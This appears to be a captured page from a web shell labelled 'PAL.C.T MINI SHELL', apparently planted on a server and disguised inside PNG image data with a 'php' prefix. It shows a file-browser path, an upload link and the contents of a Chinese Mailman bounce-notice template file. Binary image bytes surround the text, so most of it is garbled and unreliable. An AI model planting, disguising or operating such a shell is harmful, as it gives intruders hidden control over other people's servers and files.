php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/templates/zh_TW/
upload
files >> //usr/lib/mailman/templates/zh_TW/bounce.txt

這是一封 Mailman 電子論壇退信通知 :

    List(論壇):       %(listname)s
    Member(會員):       %(addr)s
    Action(動作):       訂閱 %(negative)s%(did)s.
    Reason(理由):       退信次數太多.
    %(but)s

%(reenable)s
退信的通知內容如下.

有任何疑問請逕洽 Mailman 總壇主 %(owneraddr)s.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`